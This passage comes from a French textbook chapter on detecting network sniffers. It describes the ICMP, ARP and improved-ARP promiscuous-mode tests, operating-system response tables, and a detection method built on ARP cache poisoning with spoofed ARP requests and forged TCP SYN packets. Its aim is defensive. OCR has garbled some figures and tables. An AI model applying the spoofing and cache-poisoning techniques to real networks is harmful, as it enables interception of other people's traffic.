machine ne répond pas parce que le noyau de son systéme d’explosion exécute
du filtrage logiciel, en dépit du mode promiscuous. Notons que les noyaux
des nouvelles versions de la plupart des systémes d’exploitation exécutent des
filtres logiciels.

Phase 1: La carte réseau La carte réseau
en mode Promiscuous  en mode Promiscuous
et le noyau du systéeme et le noyau du systeme
Machine La carte réseau d’exploitation d’exploitation
de test en mode normal  awvec filtre logiciel sans filtre logiciel
T P P —
@) @) @) @)

Faupe Ping JCAAP
Phase 2: La carte réseau La carte réseau
en mode Promiscuous  en mode Promiscuous
et le noyau du systéeme et le noyau du systéme
Machine La carte reseau dexploitation d'exploitation
de test en mode normal  awvec filtre logiciel sans filtre logiciel

i i I

@) @) (@)
T '. e '_ e i .. Ty 'ﬁu_,.j

réponse ICIMP JCAP aecho reply)

Figure 5.4. Les phases 1 et 2 de la méthode du ping ICMP

Au lieu d’utiliser les paquets ping ICMP, on peut utiliser :

— tout protocole qui peut générer des paquets de réponse, par exemple, le
protocole TCP (une demande de connexion TCP), ou le protocole UDP (un echo
request sur le port 7) ;
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— tout protocole qui peut générer des paquets d’erreur destinés a la machine
source, par exemple un paquet comportant un en-téte IP avec de fausses valeurs.

De nos jours, cette technique est largement connue, et les agresseurs parviennent
a développer du filtrage virtuel dans les codes de leurs sniffers. Ainsi, en plus de sa
fonction principale de capture des paquets circulant dans un réseau, le sniffer
bloquera les paquets ping ICMP portant des adresses destination MAC qui ne sont
pas de type unicast, broadcast ou multicast. De cette maniére, la machine exécutant
le sniffer ne peut pas générer de réponses a ces paquets. De plus, les noyaux des
nouvelles versions de la plupart des systemes d’exploitation incluent des filtres
logiciels. Par conséquent, la méthode du ping ICMP et méme toutes les autres
méthodes utilisant d’autres protocoles, ne permettront plus la détection des machines
dont les cartes réseau sont en mode promiscuous.

5.3.7. La méthode de I’ARP

Quand la carte réseau est placée en mode promiscuous, quelques noyaux des
anciennes versions des systemes d’exploitation vérifient seulement les adresses IP
de destination dans les paquets ARP pour déterminer s’ils doivent étre traités ou
non. Ces noyaux n’utilisent pas de filtrage logiciel sur les paquets ARP regus.

La méthode ARP est semblable a la méthode du ping ICMP, mais un faux paquet
ARP (ARP request) est employé a la place d’un faux paquet ping ICMP. Le principe
général de cette méthode est de tester le réseau machine par machine en envoyant
une requéte ARP avec une fausse adresse destination MAC mais avec une adresse
destination IP valide. Comme nous nous intéressons aux réseaux Ethernet partagés,
ce paquet devrait passer devant toutes les machines liées au méme segment Ethernet.

Si la machine est en mode normal (le filtre matériel activé), nous attendons a ce
gu’elle ne va pas répondre a cette demande. Egalement, si la machine est en mode
promiscuous et le filtre logiciel du noyau de son systéme d’exploitation filtre les
paquets ARP, nous attendons a ce qu’elle ne va pas répondre a cette demande. Ceci
parce que les filtres matériel et logiciel de la machine acceptent seulement les
paquets dont I’adresse destination MAC est de type unicast, broadcast ou multicast.
Par contre, si la machine est en mode promiscuous et le filtre logiciel du noyau de
son systeme d’exploitation ne filtre pas les paquets ARP, nous attendons a ce qu’elle
va répondre avec un paquet de type réponse ARP (ARP reply) pour fournir son
adresse MAC supposée recherchée (figure 5.5).
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Phase 1:

La carte réseau La carte réseau
en mode Promiscuous  en mode Promiscuous
et le noyau du systeme et le noyvau du systeme
Machine La carte réseau d’exploitation d’exploitation
de test en mode normal  avec filtre logiciel sans filtre logiciel
S . S R
@) @) @) @)

Fausse Requiéte ARP (ARP request)

Phase 2: La carte réseau La carte réseau
en mode Promiscuous  en mode Promiscuous
et le noyau du systeme et le noyvau du systeme
Machine La carte réseau d’exploitation d’exploitation
de test en mode normal  avec filtre logiciel sans filtre logiciel
P o Y B — A PR
- (. e UV

B

Réponse ARP (ARP repiy)

Figure 5.5. Les phases 1 et 2 de la méthode du ARP

Le tableau 5.3 montre les valeurs des principaux champs de la fausse requéte
ARP envoyée a chaque machine du réseau.

A I'instar de la méthode du ping ICMP, actuellement la plupart des systémes
d’exploitation intégrent au niveau de leurs noyaux des filtres logiciels pour filtrer les
paquets ARP de tel sorte la méthode de I’ARP ne peut plus détecter les cartes réseau
en mode promiscuous. Egalement, cette technique est maintenant largement connue.
Les intrus peuvent développer du filtrage virtuel dans les codes de leurs sniffers.
Ainsi, en plus de sa fonction principale de capture des paquets circulant dans un
réseau, le sniffer filtre les paquets ARP portant des adresses MAC de destination qui
ne sont pas de type unicast, broadcast et multicast. De la sorte, la machine exécutant
le sniffer ne peut pas générer des réponses ARP a des fausses requétes ARP.
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En-téte Ethernet
Adresse source MAC = Adresse MAC de la machine de test
Adresse destination MAC = Une fausse adresse MAC quelconque
Type Ethernet = 0x0806 (ARP message)

En-téte ARP

Adresse source IP = Adresse IP de la machine de test
Adresse source MAC = Adresse MAC de la machine de test
Adresse destination IP = Adresse IP valide de la machine cible
Adresse destination MAC = 00:00:00:00:00:00
Opération = 1 (demande)

Tableau 5.3. Les valeurs des principaux champs de la fausse requéte ARP

5.3.8. Extension de la méthode de I’ARP : la méthode de I’ARP améliorée

La méthode de I’ ARP fonctionne seulement avec quelques noyaux des anciennes
versions de systémes d’exploitations. Compte tenu des limites de la méthode ARP,
afin de détecter les cartes réseau en mode promiscuous, il est inutile d’envoyer des
paquets ARP avec de fausses adresses destination MAC. lls ne seront jamais acceptés
a cause des filtres logiciels au niveau des noyaux des systemes d’exploitation. Il
faudrait plutdt trouver une autre technique pour contourner ces filtres.

Une idée consiste a envoyer des requétes ARP avec des adresses destination
MAC spéciales qui soient capables d’éviter le filtre logiciel lorsque la carte réseau
est en mode promiscuous, sans toutefois étre acceptées par les cartes réseau en mode
normal. A ce niveau, il est utile de comprendre le mécanisme du filtrage logiciel des
adresses MAC des paquets ARP au niveau des noyaux de systémes.

L’analyse du code source de Linux et d’autres systémes d’exploitations révele
que le filtrage logiciel ne s’exerce que sur les bits de poids fort de I’adresse MAC au
niveau des paquets de broadcast et de multicast. Par conséquent, une analyse
comportementale d’adresses de broadcast et de multicast modifiées permettrait de
contourner le filtre logiciel.

On teste quelques fausses adresses de broadcast et de multicast en les
substituant a des adresses valides de broadcast et de multicast. Par exemple, on
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teste les adresses FF:FF:FF:FF:FF:FE, FF:FF:00:00:00:00, FF:00:00:00:00:00 en
remplacement de I’adresse de broadcast (FF:FF:FF:FF:FF:FF) et les adresses
01:00:00:00:00:00 et 01:00:5E:00:00:00 en remplacement de I’adresse multicast de
groupe (01:00:5E:00:00:01).

Une expérience est réalisée sur plusieurs adresses valides et non valides de
broadcast et de multicast, afin de comprendre et d’analyser le mécanisme de filtrage
logiciel de quelques systemes d’exploitations. La liste suivante décrit la particularité
des adresses choisies pour I’expérience :

— FF.FF:FF:FF:FF:FF adresse de broadcast (Br) : toutes les machines doivent
recevoir ce type de paquet et y répondre car c’est une adresse de diffusion générale.
Les requétes ARP utilisent ce type d’adresse ;

— FF.FF:FF:FF:FF:FE fausse adresse de broadcast (B47): c’est une fausse
adresse dont le dernier bit est 0 et non 1. Celle-ci est utilisée pour vérifier si le
filtrage logiciel examine tous les bits de I’adresse et si la machine y répond. Une
carte réseau rejette toujours les fausses adresses de broadcast dans le mode normal,
mais le but est d’examiner la réponse quand la carte réseau est en mode
promiscuous ;

— FF:FF:00:00:00:00 fausse adresse de broadcast 16 bits (B16) : c’est une fausse
adresse de broadcast dont seul les 16 premiers bits sont valides, les autres sont a 0.
On peut avoir une réponse si le filtre logiciel examine le premier mot (16 bits)
seulement ;

— FF:00:00:00:00:00 fausse adresse de broadcast 8 bits (B8) : c’est une fausse
adresse de broadcast dont seul les 8 premiers bits sont ceux de broadcast. On
I’utilise pour voir si le filtre logiciel examine seulement le premier octet ;

— 01:00:00:00:00:00 adresse hit de groupe (Gr) : c’est une adresse dont seul le
bit de groupe est actif et qui sert a vérifier si cette adresse est considérée multicast
comme le fait Linux ;

— 01:00:5E:00:00:00 adresse de multicast zéro (MO) : I’utilisation de I’adresse de
multicast 0 qui n’existe pas dans la liste de la carte réseau n’est pas habituelle, c’est
juste un exemple. Le filtre matériel devrait rejeter cette adresse. Cependant elle peut
étre mal classée comme adresse de multicast si le filtre logiciel n’examine pas tous
les bits de I’adresse en question. Le noyau peut ainsi répondre a ce type d’adresse si
la carte est en mode promiscuous ;

— 01:00:5E:00:00:01 adresse de multicast 1 (M1) : c’est I’adresse que toutes les
machines du réseau local devraient recevoir. Autrement dit, le filtre matériel laisse
passer ce type de paquets par défaut. Mais il est possible que la carte réseau ne
supporte pas le mode multicast et n’y répond donc pas. Mais cette hypothése n’est
pas valable car depuis longtemps, toutes les cartes réseau disponibles sur le marché
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supportent le multicasting. On I’utilise donc pour voir si la machine appartient ou
non a un groupe de multicast ;

— 01:00:5E:00:00:02 adresse de multicast 2 (M2) : elle est utilisée pour tous les
routeurs du réseau local. C’est un exemple d’adresse multicast non enregistrée dans
la liste multicast de la carte réseau ;

— 01:00:5E:00:00:03 adresse de multicast 3 (M3) : elle est non assignée. C’est
un autre exemple d’adresse de multicast non enregistrée dans la liste multicast de la
carte réseau. Les filtres matériel et logiciel devraient rejeter tout paquet avec une
telle adresse.

5.3.8.1. Résultats des tests

Le tableau 5.4 récapitule les comportements des filtres logiciels de plusieurs
systemes d’exploitations devant les fausses adresses MAC de broadcast et de
multicast décrites ci-dessus, lorsque la carte réseau est en mode normal et en
mode promiscuous. L’idée consiste a chercher et noter les fausses adresses de
broadcast et de multicast qui ont permis a un paquet d’atteindre le noyau d’un
systeme d’exploitation.

Environnement Windows

d’expi));i;i;gg Windows 98 Windows 2000 Pro \\l/\éirr;?oor\\lvzso)ég
Adresse MAC Normal P;S;Tji: Norm. | Prom. | Norm. | Prom.
FF.FF:FF:FF:FF:FF  |Br 0 0 0 0 0 0
FF.FF:FF:FF:FF:FE |B47 = X = X = X
FF:FF:00:00:00:00 |B16 X X - X X X
FF:00:00:00:00:00 B8 X - - _
01:00:00:00:00:00 Gr - - - - _
01:00:5E:00:00:00 MO - - - - _
01:00:5E:00:00:01 M1 0 0 0 0 0 0
01:00:5E:00:00:02 M2 X X - - - -
01:00:5E:00:00:03 M3 - - - - — _
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epaame  Windows XP | Windows Server | yigous N 40

Adresse MAC Norm. | Prom. | Norm. | Prom. | Norm. | Prom.
FF:FF:FF:FF:FF:FF |Br o] o o] o] o] o]
FF:FF:FF:FF:FF:FE |B47 - X - X - X
FF:FF:00:00:00:00 B16 - X X X - X
FF:00:00:00:00:00 B8 - - - - - X
01:00:00:00:00:00 Gr - - - - - -
01:00:5E:00:00:00 MO - - - - - -
01:00:5E:00:00:01 M1 o] o] o] o] - -
01:00:5E:00:00:02 M2 - - - - - -
01:00:5E:00:00:03 M3 - - - - - -

Environnement Linux
Systeme Linux 2.4 Linux 2.6 FreeBSD 4.11
d’exploitation

Adresse MAC Norm. | Prom. | Norm. | Prom. | Norm. | Prom.
FF:FF:FF:FF:FF:FF | Br o o] o] o] 6] o]
FF:FF:FF:FF:FF:FE | B47 - X - X - X
FF:FF:00:00:00:00 B16 - X - X - X
FF:00:00:00:00:00 B8 - X - X - X
01:00:00:00:00:00 Gr - X - X - X
01:00:5E:00:00:00 MO - X - X - X
01:00:5E:00:00:01 M1 o] o] 6] o] 6] o]
01:00:5E:00:00:02 M2 - X - X - X
01:00:5E:00:00:03 M3 - X - X - X

O : réponse normale, X :

réponse indue, — : pas de réponse

Tableau 5.4. Réactions des filtres logiciels
devant des fausses adresses de broadcast et de multicast
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Comme le montre ce tableau, les paquets de fausse adresse MAC de broadcast
FF.FF:FF:FF:FF:FE (B47) arrivent a atteindre les noyaux de tous les systémes
d’exploitation testés. En revanche, lorsque la carte réseau est en mode normal, le
filtre matériel les bloque. Voici la liste des fausses adresses de broadcast et des
adresses de multicast permettant la détection du mode promiscuous pour chaque
systeme d’exploitation testé.

Environnement Microsoft Windows :
Windows 98 :
B47 : FF:FF:FF:FF:FF:FE
B8 : FF:00:00:00:00:00

Windows 2000 Pro :
B47 : FF.FF:FF:FF:FF:FE
B16 : FF:FF:00:00:00:00

Windows XP version 2002 :
B47 : FF.FF:FF:FF:FF:FE

Windows XP Gold 5.5 :
B47 : FF.FF:FF:FF:FF:FE
B16 : FF:FF:00:00:00:00

Windows Server 2003 :
B47 : FF.FF:FF:FF:FF:FE

Windows NT 4.0 :
B47 : FF.FF:FF:FF:FF:FE
B16 : FF:FF:00:00:00:00
B8 : FF:00:00:00:00:00
On remarque que la fausse adresse de broadcast B47 est la seule adresse

commune a toutes les listes sus-citées. C’est donc I’adresse test pour les systémes
Windows.
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Environnement Linux :
Linux 2.4 :

B47 : FF:FF:FF:FF:FF:FE
B16 : FF:FF:00:00:00:00
B8 : FF:00:00:00:00:00

Gr : 01:00:00:00:00:00

MO : 01:00:5E:00:00:00
M2 : 01:00:5E:00:00:02
M3 : 01:00:5E:00:00:03

Linux 2.6 :

B47 : FF:FF:FF:FF:FF:FE
B16 : FF:FF:00:00:00:00
B8 : FF:00:00:00:00:00

Gr : 01:00:00:00:00:00

MO : 01:00:5E:00:00:00
M2 : 01:00:5E:00:00:02
M3 : 01:00:5E:00:00:03

FreeBSD 4.11:
B47: FF:FF:FF:FF:FF:FE
B16: FF:FF:00:00:00:00
B8: FF:00:00:00:00:00
Gr: 01:00:00:00:00:00
MO0: 01:00:5E:00:00:00
M2: 01:00:5E:00:00:02
M3: 01:00:5E:00:00:03
Lors du contréle des adresses MAC de broadcast, le filtre logiciel de Linux 2.4

ou de Linux 2.6 examine uniquement le premier octet. Toutes les fausses adresses de
broadcast sont donc susceptibles d’étre utilisées pour détecter les cartes réseau en
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mode promiscuous tout comme les adresses multicast, hormis I’adresse multicast
M1 qui devrait étre acceptée par toutes les hétes du réseau local (méme ceux en
mode normal).

5.3.8.2. Détection du mode promiscuous

Suite aux résultats précédents, il est aisé de proposer une méthode de détection
fiable d’une carte réseau en mode promiscuous sur un réseau local partagé.

Pour découvrir les cartes en mode promiscuous sur un réseau, il suffit de générer
un faux paquet ARP avec la fausse adresse de broadcast B47, pour chaque adresse
IP du réseau (tableau 5.5). Seules les cartes en mode promiscuous répondront a la
requéte ARP falsifiée. Le filtre logiciel se fait leurrer, croyant qu’il s’agit d’une
adresse de broadcast valide et le noyau retourne une réponse ARP a I’émetteur. Un
simple sniffer permet de capturer ce type de paquets de réponses ainsi que
I’affichage des adresses IP des machines émettrices.

En-téte Ethernet
Adresse source MAC = Adresse MAC de la machine de test
Adresse destination MAC = FF:FF:FF:FF:FF:FE (B47)
Type Ethernet = 0x0806 (ARP message)

En-téte ARP

Adresse source IP = Adresse IP de la machine de test
Adresse source MAC = Adresse MAC de la machine de test
Adresse destination IP = Adresse IP de la machine cible
Adresse destination MAC = 00:00:00:00:00:00
Operation = 1 (demande)

Tableau 5.5. Les valeurs des principaux champs de la requéte ARP falsifiée

Des travaux’ arguent que quand la bibliothéque de capture des paquets WinPcap
2.1 est installée dans Windows 2000, le systéme va générer une réponse a un paquet
avec la fausse adresse de broadcast B16, méme si aucun sniffer ne s’y exécute. Par
conséquent, le test du mode promiscuous donne des faux positifs.

Cependant, a la suite de tests sur Windows 2000 Pro avec les bibliotheques

WinPcap 2.1, 2.3, 3.0, et 3.1, les résultats (voir tableau ci-dessous) démontrent que

7. http//mww.securityfriday.com.
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Windows 2000 Pro ne génére pas de réponses pour les paquets avec la fausse
adresse de broadcast B16. Par conséquent, le test du mode promiscuous ne donne
pas de faux positifs.

Windows Windows Windows Windows Windows

2000 Pro 2000 Pro + 2000 Pro + 2000 Pro + 2000 Pro +
WinPcap 2.1 | WinPcap 2.3 | WinPcap 3.0 | WinPcap 3.1

B16 Mode normal  |Mode normal |Mode normal  |[Mode normal  [Mode normal
Pas de réponse |Pas de réponse |Pas de réponse |Pas de réponse |Pas de réponse

5.3.8.3. Les limites de la méthode ARP améliorée

L’inconvénient majeur de cette technique de détection est I'impossibilité de
détecter la machine suspecte si celle-ci ne génére pas de réponse ARP au cours du
sniffing. En outre, les pirates utilisent le plus souvent des systémes d’exploitation
libre (open source) pour exécuter leurs attaques. C’est ce qui facilite leurs taches
puisqu’ils sont capables de modifier les noyaux des systéemes d’exploitation, de telle
sorte qu’ils ne générent plus de réponse ARP.

Une autre limitation reléve du fait que le routage est impossible au niveau des
paquets ARP et que la recherche ne peut intervenir que sur le réseau local avec
remise directe du paquet. Il faut donc soit prévoir une solution mobile pour effectuer
la recherche sur chacun des segments du réseau, soit développer une solution
distribuée avec un point d’inflexion local a chaque segment et une base de
consolidation centralisée.

Pour se prémunir des pirates méme les plus redoutables et les pousser a réduire
leurs activités de sniffing, nous proposons une nouvelle technique de détection basée
sur I’attaque de corruption des caches ARP (ARP cache poisoning attack). L attaque
consiste a insérer une fausse entrée (adresse IP/adresse MAC) dans les caches ARP
des machines avec des cartes en mode promiscuous. Nous montrerons comment
cette fausse entrée permettra de détecter les machines avec des cartes en mode
promiscuous, et que cette attaque n’affectera pas le fonctionnement normal de toutes
les machines du réseau (celles en mode normal et celles en mode promiscuous).

5.3.9. La méthode de I’attaque du cache ARP

5.3.9.1. Principe de I’attaque de corruption du cache ARP

Ce paragraphe présente I’attaque de corruption du cache ARP (ARP cache
poisoning), qui exploite les vulnérabilités du protocole ARP. Cette attaque est
applicable unigquement sur un réseau Ethernet exécutant IP.
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L’ARP fonctionne en envoyant des demandes ARP (ARP request). Une demande
ARP pose la question « Votre adresse IP est-elle x.x.x.x ? Si oui, envoyez votre
adresse MAC ». Ces demandes sont émises & tous les ordinateurs sur le réseau LAN
(paquets de diffusion), méme s’il s’agit d’un réseau commuté. Chaque ordinateur
examine la demande ARP, vérifie s’il est, a ce moment-Ia, assigné a I’adresse IP
indiquée. Si oui, il envoie une réponse ARP (ARP reply) contenant son adresse MAC.

Pour réduire au minimum le nombre de demandes (ou réponses) ARP émises, les
systemes d’exploitation gardent un cache des réponses ARP (le cache ARP). La
mise a jour du cache ARP peut se faire de deux maniéres.

Dans le premier cas de figure, quand un ordinateur regoit une réponse ARP, il va
mettre a jour son cache ARP avec la nouvelle association d’IP/MAC correspondant
a I’émetteur de la réponse ARP (figure 5.6). Des systémes d’exploitation tels que
Windows 2000 et FreeBSD 4.11 mettront a jour leurs caches ARP a la réception de
réponses ARP, méme si aucune requéte ARP n’a pas été envoyée. Par contre,
des systemes tels que Windows XP, Linux 2.4 et 2.6 ne mettront pas a jour leurs
caches ARP suite a la réception de réponses ARP, s’ils n’ont pas déja envoyé des
requétes ARP.

La machine A La machine B

IRARIE ®BMACE) o, macrine
_;%?; Réponse ARP l[@éﬁ i e
IP_A MAC_A
Les valeurs des principaux champs de la réponse ARP
Eniéte Ethernet
Ldresse sowrce MAC = Adresse BWIAC de la mackine &
Ldresse destination WAC = Adresse MWAC de la rachine B
Type Ethemet = 00206 ( AR message)
Entéte ARP
Adressze source IP = Adresse IP de la machine & (TP &)
Adresze source IAC = Adresse DIAC de la rachine A& (WAC &)
Adresse destination [P = Adresse IP de la machine B (IP_B)
Lidvesse destination MAC = Lidresse WA de la machine B (WIAC B)
Operation = 2 (rponse)

Figure 5.6. Mise & jour du cache ARP avec une réponse ARP
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Dans le second cas, quand un ordinateur recoit une requéte ARP, il va mettre a
jour son cache ARP avec I’association d’IP/MAC correspondant a I’émetteur de la
requéte ARP (figure 5.7).

La machine A La machine B

b A ®BMACE gl machined
‘%ﬁ T— “@ < P | Mac
IP_A MAC_A
Les valeurs des principaux champs de la requéte ARP
Entéte Fthernet
Ldresse source WAC = Ldresse WIAC de la machine &
Ldresse destination IWIAC = Ldresse WIAC de la machine B
Type Ethemet = 00206 ( ARF message)
Eniéie ARP :
Adresze source [F = Ludresse TP de la machine & (IF_A)
Adresze source WA = Sdresse WIAC de la machine & (MIAC A)
Adresse destination IP = Adresse IF de la rachine B (IF_B)
Ldresse destination WAC = 00:00:00:00:00.00
Ciperation = 1 (Recuéte)

Figure 5.7. Mise & jour du cache ARP avec une requéte ARP

Tous les systemes d’exploitation testés mettront a jour leurs caches ARP a la
réception d’une requéte ARP méme si I’entrée n’existe pas dans le cache. Le tableau
5.6 montre le résultat des tests de mise a jour des caches ARP de quelques systemes,
sous les conditions suivantes :

— une entrée existe dans le cache ARP et le systéme recoit une requéte ARP
visant a la mettre a jour ;

— une entrée existe dans le cache ARP et le systéme recoit une réponse ARP
visant a la mettre a jour ;

— I’entrée n’existe pas dans le cache ARP et le systéme recoit une requéte ARP
visant & la créer ;

— I’entrée n’existe pas dans le cache ARP et le systéme recoit une réponse ARP
visant & la creer.
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v/ = La requéte ou la réponse sont prises en compte et permettent donc la mise a jour ou la
création de I’entrée ;

X = La requéte ou la réponse ne sont pas prises en compte et ne permettent donc ni la mise &
jour ni la création de I’entrée.

Tableau 5.6. Mise & jour des caches ARP par des requétes et des réponses ARP

Les résultats des tests aménent les conclusions suivantes :

— si I’entrée n’existe pas dans le cache ARP, tous les systemes testés, a I’exception
de Windows 2000 et FreeBSD 4.11, n’autorisent pas la création de I’entrée par une
réponse ARP ;

— si I’entrée n’existe pas dans le cache ARP, tous les systemes testés autorisent
la création d’une entrée par une requéte ARP ;

— par contre, si I’entrée existe déja dans le cache ARP, tous les systémes testés
autorisent sa mise a jour par une réponse ARP (méme en absence auparavant d’une
requéte ARP) ou par une requéte ARP.

L’attaque de corruption du cache ARP consiste a mettre a jour les caches ARP
des machines cibles avec de fausses entrées IP/MAC, en utilisant des paquets ARP.
D’apres le tableau 5.6, si une entrée n’existe pas dans le cache ARP, pour la plupart
des systemes testés, une réponse ARP ne permet pas de la créer. Par contre, pour
tous les systémes testés, une requéte ARP permet de créer une entrée inexistante
dans le cache ARP. Par conséquent, pour mettre a jour les caches ARP des machines
cibles avec de fausses entrées IP/MAC, seules des requétes ARP falsifiées peuvent
étre utilisées.
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En envoyant de fausses requétes ARP, contenant des fausses adresses sources IP
(IP_X) et MAC (MAC_X), un ordinateur cible B mettra a jour son cache ARP avec
ces adresses (figure 5.8).

La machine A La machine B Le cache ARP
(P_A,MAC_f) {IP_B,MAC_B) Milamachmd
) @ P MAC
-==j “#,  Requéte ARP falsifice _Tj (9 La fausse La fausse
adresse: adresse:
IP_X MAC_X
Les valeurs des principaux champs de la requéte ARP falsifiee
Entéte Ethernet '
b dresse source WAC = bdresse IWIAC de la maching &
&y drease destivation MAC = Sydresse WIAC de la machine B
Type Ethemet = 020806 | AFF message)
Entéte ARP
&dresse sorce IF = La fansse Adresse [P TP X
by dresze somree I AC = La fansse Adresse DAC: MAC X
Ldresze destination [P = Ldresse TP de la machine B {IF_B)
&y dresze destination MAC = 00:00:00:00:00:00
Operation = 1 {recpuéte)

Figure 5.8. Mise & jour du cache ARP avec une fausse entrée IP_X/MAC_X

Le processus de mise a jour du cache ARP d’une machine cible avec une entrée
IP/MAC falsifiée est désigné sous le nom de « corruption ARP » (ARP poisoning).
L’outil Winarp_sk, téléchargeable a partir de I’adresse www.arp-sk.org, ou un
générateur de paquet tel que celui du sniffer CommView permettent d’envoyer des
paquets de requétes ARP falsifiées.

5.3.9.2. Détection des cartes en mode promiscuous

La méthode proposée pour la détection des cartes réseau en mode promiscuous
se base essentiellement sur I’attaque de corruption du cache ARP et utilise trois
phases :

— dans la premiere phase, nous utilisons I’attaque de corruption du cache ARP
pour corrompre seulement les caches ARP des machines du réseau dont les cartes
sont en mode promiscuous. L’attaque utilise une fausse entrée IP/MAC appelée IP-
Test/ MAC-Test ;
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— dans la deuxieme phase, nous essayons d’établir une connexion TCP avec
chacune des machines du réseau sur un port quelconque, ouvert ou fermé ;

— dans la derniére phase, nous utilisons un sniffer afin de capturer tout paquet
contenant la fausse entrée IP-Test/MAC-Test.

Nous démontrerons que les machines qui généreront des paquets TCP contenant
cette fausse entrée IP-Test/MAC-Test sont en mode promiscuous. Cependant, les
machines qui générent des requétes ARP dans le but de chercher I’adresse MAC de
la machine d’adresse IP IP-Test ne sont pas en mode promiscuous.

Dans les paragraphes suivants, nous décrirons en détail les trois phases
précédentes. En utilisant une machine, nommée machine de test, a partir de la quelle
nous exécuterons toutes les taches nécessaires aux trois phases.

Pour étre conformes aux noyaux des nouvelles versions des systémes
d’exploitations, on suppose que tous les noyaux des systémes des machines du
réseau cible integrent des filtres logiciels.

Dans le réseau cible, on suppose que quelques utilisateurs de sniffers sont
intelligents et connaisseurs des méthodes de détection des sniffers décrites
précédemment, notamment la méthode du ARP. Egalement, on suppose que dans le
réseau cible, on trouve tout type de machines, a savoir ;

— des machines avec des cartes réseau en mode normal (le filtre matériel est activé) ;

— des machines avec des cartes en mode promiscuous et avec des noyaux
systemes qui autorisent la génération de réponses ARP suite a des requétes ARP ;

— des machines avec des cartes en mode promiscuous et avec des noyaux
systémes n’autorisant pas la génération de réponses ARP. L’utilisateur du sniffer dans
de telles machines aura bloqué la génération de réponses ARP pour rester indétectable
par la méthode du ARP améliorée®. Le sniffer filtre le trafic ARP sortant.

Phase 1 : I’attaque de corruption du cache ARP

Le but de cette phase est de corrompre seulement les caches ARP des machines
dont les cartes sont en mode promiscuous. Pour ce faire, nous envoyons pour chaque
machine du réseau une fausse requéte ARP piége avec dans les en-tétes Ethernet et
ARP les champs suivants :

— en-téte Ethernet :

- adresse destination Ethernet = FF: FF: FF: FF: FF: FE (B47),
- adresse source Ethernet = n’importe quelle adresse,

8. Voir, plus haut, paragraphe 5.3.8.
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- type Ethernet =0x806 (Protocole ARP) ;
— en-téte ARP :
- type ARP = 0x01(requéte ARP),
- adresse source MAC = fausse adresse MAC (MAC-Test),
- adresse source IP = fausse adresse IP (IP-Test),
adresse destination MAC = 00:00:00:00:00:00,
adresse destination IP = adresse IP de la machine cible.

Si une machine dans le réseau cible est en mode normal, la fausse requéte ARP
piége sera bloquée par le filtre matériel, puisque I’adresse destination MAC dans
I’en-téte Ethernet est la fausse adresse de broadcast B47. Par conséquent, la mise a
jour du cache ARP de cette machine ne peut étre réalisée (figure 5.9).

La carte reseau La carte réseau
en mode Promiscuous enh mode Promiscuous
et le noyau du systéme et le noyau du systéme
Machine La carte réseau d’exploitation d’exploitation
detest enmode normal produit des réponses ARP ne produit pas des réponses ARP

>

LAN
T

T |

Requéte ARP piége avec une fausse adresse MAC de Broadcast B47

= Les valeurs des charnps adresse source 1P et adresse source MAC de 'entéte ARP de |3 requéte ARP
pigge sont gales respectivernent aux fausses adresses JA-Test et MAC-Test.

= L'entéte Ethernet de 1a requéte ARP pigge utilise une fausse adresse de broadeast B47
(FF:FF:FF:FF:FF:FE) comme adresse destination MALC,

Figure 5.9. Création d’une fausse entrée IP-Test/MAC-Test
dans les caches ARP des machines en mode promiscuous

Par contre, si la machine est en mode promiscuous, le filtre matériel est
désactivé, mais le filtre logiciel est encore activé. Par conséquent, la fausse requéte
ARP piege est envoyée directement au filtre logiciel qui va I’accepter puisqu’elle a
la fausse adresse MAC de broadcast B47 comme adresse destination MAC (voir la
méthode de I’ARP améliorée). Ainsi, le cache ARP de cette machine sera mis a jour
par une nouvelle fausse entrée, a savoir : IP-Test/MAC-Test.

Notons que si nous choisissons une adresse MAC de broadcast générale
(FF:FF:FF:FF:FF:FF) comme adresse destination MAC au niveau de I’en-téte
Ethernet de la fausse requéte ARP piége, alors tous les caches ARP des machines du
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réseau cible seraient corrompus par I’attaque de corruption du cache ARP. Ainsi,
une telle adresse devrait étre écartée parce qu’elle ne permet pas de détecter le mode
promiscuous des cartes réseau.

En conclusion, cette premiére phase nous a permis de corrompre uniquement les
caches ARP des machines dont leurs cartes sont en mode promiscuous, méme si ces
machines ne générent pas de requétes ARP pour rester indétectables par la méthode
du ARP améliorée.

Phase 2 : demande d’établissement d’une connexion TCP piege

Une fois la fausse entrée IP-Test/MAC-Test créée dans les caches ARP des
machines en mode promiscuous, nous essayerons d’établir une connexion TCP
piége avec chague machine du réseau cible, sur un port quelconque. Il est important
de noter que le port choisi peut étre un port ouvert® ou fermé.

En général, pour établir une connexion TCP avec une machine ciblel0, il est
nécessaire d’envoyer a la machine un paquet TCP Syn avec le flag Syn égal a 1. En
outre, la valeur du champ de I’adresse source IP dans I’en-téte IP du paquet TCP
Syn est égale a I’adresse IP de la machine qui demande I’établissement de la
connexion. Nous allons toutefois envoyer un pagquet TCP Syn piege contenant une
fausse adresse source IP dans I’en-téte IP & chaque machine du réseau pour
demander I’établissement d’une connexion TCP (figure 5.10).

La carte réseau La carte réseau
en mode Promiscuous en mode Promiscuous
et le noyau du systeme et le noyau du systeme
Machine La carte réseau d’exploitation d’exploitation
detest enmode normal produit des réponses ARP ne produit pas des réponses ARP

4“Ij nﬁ -f ‘I‘j LAN ’

Paruet TCP Syn pigge: Demande o établissement d'une connexion TCP piége avec chague machine du réseau

Figure 5.10. Demande d’établissement de connexion
TCP piege avec chaque machine du réseau

9. Dans ce cas il y a un service qui tourne sur ce port.
10. Voir chapitre 1.
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Ce paquet TCP Syn piége présente la particularité suivante.

L’adresse source IP dans I’en-téte IP du paquet TCP Syn est égale a la fausse
adresse IP-Test. En principe, elle doit étre égale a I’adresse IP de la machine de test,
puisque c’est cette derniére qui demande I’établissement de la connexion TCP.

Les valeurs des champs les plus significatifs du paquet TCP Syn piége utilisé
pour établir la connexion TCP avec chaque machine cible dans le réseau sont :
— en-téte Ethernet :
- adresse destination Ethernet = adresse physique de la machine cible,
- adresse source Ethernet = adresse physique de la machine de test,
- type Ethernet =0x800 (le protocole IP) ;
— en-téte IP :
- adresse source IP = la fausse adresse IP (IP-Test),
- adresse destination IP = I’adresse IP de la machine cible ;
— en-téte TCP :
- port source = n’importe quelle valeur entre 1 et 65 535,
- port destination = n’importe quelle valeur entre 1 et 65 535,
- flag = 0x02 (Syn).

Phase 3 : Détection des machines avec des cartes réseau en mode promiscuous

Une fois les fausses requétes ARP piéges (phase 1) et les paquets TCP Syn
pieges (phase 2) envoyés aux différentes machines du réseau, nous attendons les
réponses possibles suivantes (figure 5.11) :

